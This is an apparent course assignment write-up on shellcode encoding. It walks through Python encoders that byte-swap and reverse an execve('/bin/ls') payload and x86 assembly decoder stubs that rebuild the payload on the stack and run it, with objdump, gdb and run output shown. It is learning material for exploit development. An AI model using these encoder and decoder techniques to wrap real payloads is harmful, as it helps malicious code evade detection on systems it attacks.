Assignment #4:
- Create a custom encoding scheme like the "Insertion Encoder" demonstrated in the course
- Proof of concept using execve-stack as the shellcode to encode with your scheme and execute
=====================================================================
First we get the shellcode of the execve-stack:
objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#!/usr/bin/env python import sys # we import sys for the len() function # execve('/bin/ls') - shellcode size is 25 bytes shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89" "\xe1\xb0\x0b\xcd\x80") # bswap("12345678") -> \x78\x56\x34\x12 def bswap_to_py(eax): return "" if not eax else bswap_to_py(eax[2:]) + '\\x' + eax[:2] def bswap_to_asm(eax): return "" if not eax else bswap_to_asm(eax[2:]) + '0x' + eax[:2] + ',' # pad shellcode with a NOP which will be used by our decoder shellcode += "\x90" # pad additional NOPS until shellcode is divisible by 4 while (len(shellcode) % 4 != 0): shellcode += "\x90" # initialize variables py_shellcode = ""; asm_shellcode = ""; counter = 0; EAX = ""; # encode the shellcode with a bswap of every 4 bytes for x in bytearray(shellcode): # iterate over each byte in shellcode counter += 1 # we use the counter to load 4 bytes at a time EAX += '%02x' %x # store hex value of byte in EAX string if (counter % 4 == 0): # we have read 4 bytes py_shellcode += bswap_to_py(EAX) # append bswapped value to encoded_shellcode asm_shellcode += bswap_to_asm(EAX) # append bswapped value to encoded_shellcode EAX = ""; counter = 0; # reset EAX and counter to process next 4 bytes print "" print py_shellcode print "" print asm_shellcode[:-1] # remove the trailing comma print ""
python encoder.py
\x68\x50\xc0\x31\x73\x6c\x2f\x2f\x69\x62\x2f\x68\x50\xe3\x89\x6e\x89\x53\xe2\x89\xcd\x0b\xb0\xe1\x90\x90\x90\x80
0x68,0x50,0xc0,0x31,0x73,0x6c,0x2f,0x2f,0x69,0x62,0x2f,0x68,0x50,0xe3,0x89,0x6e,0x89,0x53,0xe2,0x89,0xcd,0x0b,0xb0,0xe1,0x90,0x90,0x90,0x80
Note: Our encoder works and we now have our encoded shell. Now on to the assembly!
; filename decoder1.nasm ; global _start section .text _start: jmp short CALL ; JMP - CALL - POP technique to retrieve location of encoded shell POP: pop esi ; ESI = Location of shellcode mov cl, codelen ; ECX = length of shellcode (28 in our case) DECODESHELL: sub ecx, 4 ; process next part of shellcode mov eax, [esi+ecx] ; store the value in ESI+EDI in EAX bswap eax ; The bswap magic push eax ; store the last part of shellcode on the stack and go up from there test ecx, ecx ; If ECX is zero then we've reached the end of our shellcode jne DECODESHELL ; keep decoding until AL is 90 jmp esp ; jump to stack = our shell CALL: call POP shellcode: db 0x68,0x50,0xc0,0x31,0x73,0x6c,0x2f,0x2f,0x69,0x62,0x2f,0x68,0x50,0xe3,0x89,0x6e,0x89,0x53,0xe2,0x89,0xcd,0x0b,0xb0,0xe1,0x90,0x90,0x90,0x80 codelen equ $-shellcode ; Note: Decoder could be improved by encoding in a PUSH-friendly manner
Note: We compile our decoder1.nasm code:
nasm -f elf32 -o decoder1.o decoder1.nasm | ld -o decoder1 decoder1.o objdump -d ./decoder1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x12\x5e\xb1\x1c\x83\xe9\x04\x8b\x04\x0e\x0f\xc8\x50\x85\xc9\x75\xf3\xff\xe4\xe8\xe9\xff\xff\xff\x68\x50\xc0\x31\x73\x6c\x2f\x2f\x69\x62\x2f\x68\x50\xe3\x6e\x89\x53\xe2\x89\xcd\x0b\xb0\xe1\x90\x90\x90\x80"
Note: our original shellcode was:
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Note: We run our decoder1 program in gdb, and check the decoded value on the stack:
gdb decoder1 -ex 'break *&DECODESHELL + 0xD' -ex 'run' -ex 'x/32b $esp'
Breakpoint 1, 0x08048072 in DECODESHELL ()
0xbffff3f4: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x6c 0x73
0xbffff3fc: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbffff404: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
0xbffff40c: 0x80 0x90 0x90 0x90 0x01 0x00 0x00 0x00
Note: Upon executing the decoder, we see the execve('/bin/ls') execute from the stack as expected - Nice!
Now we can improve our encoder and decoder by encoding in a stack-friendly manner.
The idea is that we'll PUSH the DWORDS on the stack in reverse order (since stack is reverse)
This way, we can use the stack functionality to save a few decoder bytes.
Doing this is easy in Python. First we take our shellcode and split it in chunks of 4 bytes:
splittedshellcode = [shellcode[i:i+4] for i in range(0, len(shellcode), 4)]
Then we reverse the array obtained:
reversedshellcode = splittedshellcode[::-1]
Then we concatenate (join) the words without additional characters in between to form a new string.
joinedshellcode = "".join(reversedshellcode)
The above commands can be performed in a single command as follows:
shellcode_reversed = "".join([shellcode[i:i+4] for i in range(0, len(shellcode), 4)][::-1])
Our new encoder (encoder2.py):
#!/usr/bin/env python # # we import sys for the len() function import sys # execve('/bin/ls') - shellcode size is 25 bytes shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89" "\xe1\xb0\x0b\xcd\x80") # Ninja code: bswap("12345678") -> \x78\x56\x34\x12 def bswap_to_py(eax): return "" if not eax else bswap_to_py(eax[2:]) + '\\x' + eax[:2] def bswap_to_asm(eax): return "" if not eax else bswap_to_asm(eax[2:]) + '0x' + eax[:2] + ',' # pad shellcode with a NOP which will be used by our decoder shellcode += "\x90" # pad additional NOPS until shellcode is divisible by 4 while (len(shellcode) % 4 != 0): shellcode += "\x90" # Split shellcode into chunks of 4 bytes, reverse them, and join them into a new string shellcode_reversed = "".join([shellcode[i:i+4] for i in range(0, len(shellcode), 4)][::-1]) # initialize variables used by our encoder sequence py_shellcode = ""; asm_shellcode = ""; counter = 0; EAX = ""; # encode the shellcode with a bswap of every 4 bytes for x in bytearray(shellcode_reversed): # iterate over each byte in shellcode counter += 1 # we use the counter to load 4 bytes at a time EAX += '%02x' %x # store hex value of byte in EAX string if (counter % 4 == 0): # we have read 4 bytes py_shellcode += bswap_to_py(EAX) # append bswapped value to encoded_shellcode asm_shellcode += bswap_to_asm(EAX) # append bswapped value to encoded_shellcode EAX = ""; counter = 0; # reset EAX and counter to process next 4 bytes print "" print py_shellcode print "" print asm_shellcode[:-1] print ""
python encoder2.py
\x90\x90\x90\x80\xcd\x0b\xb0\xe1\x89\x53\xe2\x89\x50\xe3\x89\x6e\x69\x62\x2f\x68\x73\x6c\x2f\x2f\x68\x50\xc0\x31
0x90,0x90,0x90,0x80,0xcd,0x0b,0xb0,0xe1,0x89,0x53,0xe2,0x89,0x50,0xe3,0x89,0x6e,0x69,0x62,0x2f,0x68,0x73,0x6c,0x2f,0x2f,0x68,0x50,0xc0,0x31
Note: Our encoder2 script works and we now have our encoded shell. Effectively we've reversed our whole shellcode
Our encoder can be simplified even more:
Our new encoder (encoder3.py):
#!/usr/bin/env python # filename: encoder3.py # we import sys for the len() function import sys # execve('/bin/ls') - shellcode size is 25 bytes shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89" "\xe1\xb0\x0b\xcd\x80") # pad shellcode with a NOP which will be used by our decoder shellcode += "\x90" # pad additional NOPS until shellcode is divisible by 4 while (len(shellcode) % 4 != 0): shellcode += "\x90" # Split shellcode into chunks of 4 bytes, reverse them, and join them into a new string shellcode_reversed = "".join([shellcode[i:i+1] for i in range(0, len(shellcode), 1)][::-1]) # initialize variables used by our encoder sequence py_shellcode = ""; asm_shellcode = ""; # encode the shellcode with a bswap of every 4 bytes for x in bytearray(shellcode_reversed): # iterate over each byte in shellcode py_shellcode += '\\x' '%02x' %x # append byte value to encoded_shellcode asm_shellcode += '0x' '%02x' ',' %x # append byte value to encoded_shellcode print "" print py_shellcode print "" print asm_shellcode[:-1] print ""
We can now simplify the assembly decoder:
; filename decoder2.nasm ; global _start section .text _start: jmp short CALL ; JMP - CALL - POP technique to retrieve location of encoded shell POP: pop esi ; ESI = Location of shellcode DECODESHELL: lodsd ; store dword pointed by ESI (shellcode) in EAX register bswap eax ; The bswap magic takes place here in the EAX register push eax ; store the bswapped reversed_shellcode on the stack cmp al, 0x31 ; If AL (now also the top byte on stack) is 0x31 then this is the start of our shellcode jne DECODESHELL ; keep decoding until AL is 0x31 jmp esp ; jump to stack = our shell CALL: call POP shellcode: db 0x90,0x90,0x90,0x80,0xcd,0x0b,0xb0,0xe1,0x89,0x53,0xe2,0x89,0x50,0xe3,0x89,0x6e,0x69,0x62,0x2f,0x68,0x73,0x6c,0x2f,0x2f,0x68,0x50,0xc0,0x31
Note: The size of our finished assembly decoder is 10 bytes.
nasm -f elf32 -o decoder2.o decoder2.nasm | ld -o decoder2 decoder2.o ./decoder2
Note: We see the directory listing of our directory, which means our shellcode execve(/bin/ls) ran successfully